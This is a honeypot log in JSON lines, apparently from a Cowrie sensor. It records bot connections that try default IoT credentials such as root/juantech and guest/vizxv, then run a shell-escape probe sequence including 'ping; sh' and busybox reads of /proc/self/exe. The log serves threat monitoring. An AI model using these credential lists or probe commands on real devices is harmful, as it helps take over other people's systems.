{"eventid":"cowrie.session.closed","duration":30.977829456329346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:36.385323Z","src_ip":"104.36.149.175","session":"0a6d67eea047","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.188756704330444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:37.366573Z","src_ip":"104.36.149.175","session":"c0ad48f2d4e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.266011476516724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:43.446568Z","src_ip":"104.36.149.175","session":"b365d32f5ebe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.565369129180908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:46.423794Z","src_ip":"104.36.149.175","session":"ac6b897d326f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060648679733276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:52.347739Z","src_ip":"104.36.149.175","session":"902d1ee45472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236756801605225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:54:00.263299Z","src_ip":"104.245.105.2","session":"d71baa0617d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":34580,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f77cb8a0672","protocol":"telnet","message":"New connection: 104.36.149.175:34580 (10.17.0.5:23) [session: 6f77cb8a0672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:54:11.247573Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60924,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea57df3c0395","protocol":"telnet","message":"New connection: 104.245.105.2:60924 (10.17.0.5:23) [session: ea57df3c0395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:54:21.042789Z"}
{"eventid":"cowrie.session.closed","duration":31.154443502426147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:54:42.401877Z","src_ip":"104.36.149.175","session":"6f77cb8a0672","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0296585559845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:54:53.072339Z","src_ip":"104.245.105.2","session":"ea57df3c0395","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.67.182","src_port":45996,"dst_ip":"159.203.135.109","dst_port":23,"session":"22ebd0bc8251","protocol":"telnet","message":"New connection: 168.144.67.182:45996 (159.203.135.109:23) [session: 22ebd0bc8251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:55:22.341403Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36052,"dst_ip":"10.17.0.5","dst_port":23,"session":"0990e0b3a97a","protocol":"telnet","message":"New connection: 104.245.105.2:36052 (10.17.0.5:23) [session: 0990e0b3a97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:55:25.266298Z"}
{"eventid":"cowrie.session.closed","duration":34.11600208282471,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:55:56.457282Z","src_ip":"168.144.67.182","session":"22ebd0bc8251","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44046,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f6bb041db16","protocol":"telnet","message":"New connection: 104.245.105.2:44046 (10.17.0.5:23) [session: 9f6bb041db16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:03.984072Z"}
{"eventid":"cowrie.session.closed","duration":47.82247853279114,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:13.088669Z","src_ip":"104.245.105.2","session":"0990e0b3a97a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.77.246.170","src_port":54765,"dst_ip":"159.203.135.109","dst_port":23,"session":"e41e88fc779a","protocol":"telnet","message":"New connection: 27.77.246.170:54765 (159.203.135.109:23) [session: e41e88fc779a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:45.869308Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:46.833330Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:46.877919Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:47.114041Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:47.118042Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:47.121435Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:47.124755Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:47.128516Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:47.131516Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"ping; sh","message":"CMD: ping; sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:47.135037Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:47.139543Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox cat /proc/self/exe || cat /proc/self/exe","message":"CMD: /bin/busybox cat /proc/self/exe || cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:47.343904Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.command.success","input":"cat /proc/self/exe","message":"Command found: cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:47.347788Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.763139486312866,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:48.747118Z","src_ip":"104.245.105.2","session":"9f6bb041db16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.52.108.6","src_port":44308,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0ede6ac7d25","protocol":"telnet","message":"New connection: 190.52.108.6:44308 (159.203.135.109:23) [session: f0ede6ac7d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:56:49.208000Z"}
{"eventid":"cowrie.session.closed","duration":13.100664615631104,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:02.308541Z","src_ip":"190.52.108.6","session":"f0ede6ac7d25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58758,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ea39515fc5f","protocol":"telnet","message":"New connection: 104.245.105.2:58758 (10.17.0.5:23) [session: 1ea39515fc5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:14.581149Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","size":1774,"shasum":"8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","duplicate":true,"duration":"28.1","message":"Closing TTY Log: var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225 after 28.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:14.949701Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.093287706375122,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:14.962523Z","src_ip":"27.77.246.170","session":"e41e88fc779a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.77.246.170","src_port":54992,"dst_ip":"159.203.135.109","dst_port":23,"session":"c71d37d627dc","protocol":"telnet","message":"New connection: 27.77.246.170:54992 (159.203.135.109:23) [session: c71d37d627dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:15.186127Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:16.178489Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"e8ehomeasb","password":"e8ehomeasb","message":"login attempt [e8ehomeasb/e8ehomeasb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:17.202303Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"power","message":"login attempt [admin/power] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:18.230370Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"vizxv","message":"login attempt [guest/vizxv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:19.258886Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"hkipc2016","message":"login attempt [root/hkipc2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:20.290635Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"juantech","message":"login attempt [root/juantech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:21.319352Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"666666","message":"login attempt [root/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:22.360461Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ont","password":"ont","message":"login attempt [ont/ont] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:23.398281Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"daemon","message":"login attempt [daemon/daemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:24.423768Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"4444444","message":"login attempt [root/4444444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:25.454741Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"u","password":"u","message":"login attempt [u/u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:26.478656Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:27.522004Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:27.561872Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:27.801544Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:27.806042Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:27.809993Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:27.814027Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:27.818488Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:27.822187Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"ping; sh","message":"CMD: ping; sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:27.825773Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:27.829906Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox cat /proc/self/exe || cat /proc/self/exe","message":"CMD: /bin/busybox cat /proc/self/exe || cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:28.050831Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.command.success","input":"cat /proc/self/exe","message":"Command found: cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:28.055227Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":35264,"dst_ip":"10.17.0.5","dst_port":22,"session":"96028fc5b8fc","protocol":"ssh","message":"New connection: 80.94.92.168:35264 (10.17.0.5:22) [session: 96028fc5b8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:32.018066Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:32.143593Z","src_ip":"80.94.92.168","session":"96028fc5b8fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40266,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7745b9f5a61","protocol":"telnet","message":"New connection: 192.119.108.58:40266 (159.203.135.109:23) [session: b7745b9f5a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:45.299548Z"}
{"eventid":"cowrie.session.closed","duration":32.29575181007385,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:46.876792Z","src_ip":"104.245.105.2","session":"1ea39515fc5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41766,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff06d9b81daf","protocol":"telnet","message":"New connection: 192.119.108.58:41766 (159.203.135.109:23) [session: ff06d9b81daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:52.124485Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43134,"dst_ip":"159.203.135.109","dst_port":23,"session":"556fc0ada4f8","protocol":"telnet","message":"New connection: 192.119.108.58:43134 (159.203.135.109:23) [session: 556fc0ada4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:52.332853Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43860,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9ea1ab39fcf","protocol":"telnet","message":"New connection: 192.119.108.58:43860 (159.203.135.109:23) [session: e9ea1ab39fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:54.117368Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43874,"dst_ip":"159.203.135.109","dst_port":23,"session":"91906c8bb774","protocol":"telnet","message":"New connection: 192.119.108.58:43874 (159.203.135.109:23) [session: 91906c8bb774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:54.169986Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44318,"dst_ip":"159.203.135.109","dst_port":23,"session":"05b3259d3a4e","protocol":"telnet","message":"New connection: 192.119.108.58:44318 (159.203.135.109:23) [session: 05b3259d3a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:55.171871Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44432,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cfd4161c6a4","protocol":"telnet","message":"New connection: 192.119.108.58:44432 (159.203.135.109:23) [session: 6cfd4161c6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:55.415745Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44776,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d494c4cbf8c","protocol":"telnet","message":"New connection: 192.119.108.58:44776 (159.203.135.109:23) [session: 3d494c4cbf8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:56.133151Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44778,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1959cfa5c74","protocol":"telnet","message":"New connection: 192.119.108.58:44778 (159.203.135.109:23) [session: e1959cfa5c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:56.140929Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44316,"dst_ip":"159.203.135.109","dst_port":23,"session":"12976b991f17","protocol":"telnet","message":"New connection: 192.119.108.58:44316 (159.203.135.109:23) [session: 12976b991f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:56.169154Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44760,"dst_ip":"159.203.135.109","dst_port":23,"session":"fda67c085b0f","protocol":"telnet","message":"New connection: 192.119.108.58:44760 (159.203.135.109:23) [session: fda67c085b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:57.100024Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44762,"dst_ip":"159.203.135.109","dst_port":23,"session":"14bcc67aad6e","protocol":"telnet","message":"New connection: 192.119.108.58:44762 (159.203.135.109:23) [session: 14bcc67aad6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:57.104820Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45260,"dst_ip":"159.203.135.109","dst_port":23,"session":"177e15beed7d","protocol":"telnet","message":"New connection: 192.119.108.58:45260 (159.203.135.109:23) [session: 177e15beed7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:57.315964Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","size":1766,"shasum":"8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","duplicate":true,"duration":"30.3","message":"Closing TTY Log: var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225 after 30.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:57.901260Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.72636032104492,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:57.912401Z","src_ip":"27.77.246.170","session":"c71d37d627dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.77.246.170","src_port":55296,"dst_ip":"159.203.135.109","dst_port":23,"session":"593c38daa4b8","protocol":"telnet","message":"New connection: 27.77.246.170:55296 (159.203.135.109:23) [session: 593c38daa4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:58.117469Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44296,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cababea818d","protocol":"telnet","message":"New connection: 192.119.108.58:44296 (159.203.135.109:23) [session: 2cababea818d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:58.141665Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44320,"dst_ip":"159.203.135.109","dst_port":23,"session":"32c18a5b6ea3","protocol":"telnet","message":"New connection: 192.119.108.58:44320 (159.203.135.109:23) [session: 32c18a5b6ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:58.177531Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:59.071111Z","src_ip":"27.77.246.170","session":"593c38daa4b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44926,"dst_ip":"159.203.135.109","dst_port":23,"session":"aec518ecdf22","protocol":"telnet","message":"New connection: 192.119.108.58:44926 (159.203.135.109:23) [session: aec518ecdf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:57:59.497171Z"}
{"eventid":"cowrie.login.failed","username":"fliruser","password":"fliruser","message":"login attempt [fliruser/fliruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:00.071096Z","src_ip":"27.77.246.170","session":"593c38daa4b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"PSEAdmin","password":"$secure$","message":"login attempt [PSEAdmin/$secure$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:01.075771Z","src_ip":"27.77.246.170","session":"593c38daa4b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vadmin","password":"9vt@f3Vt","message":"login attempt [vadmin/9vt@f3Vt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:02.089496Z","src_ip":"27.77.246.170","session":"593c38daa4b8","protocol":"telnet"}
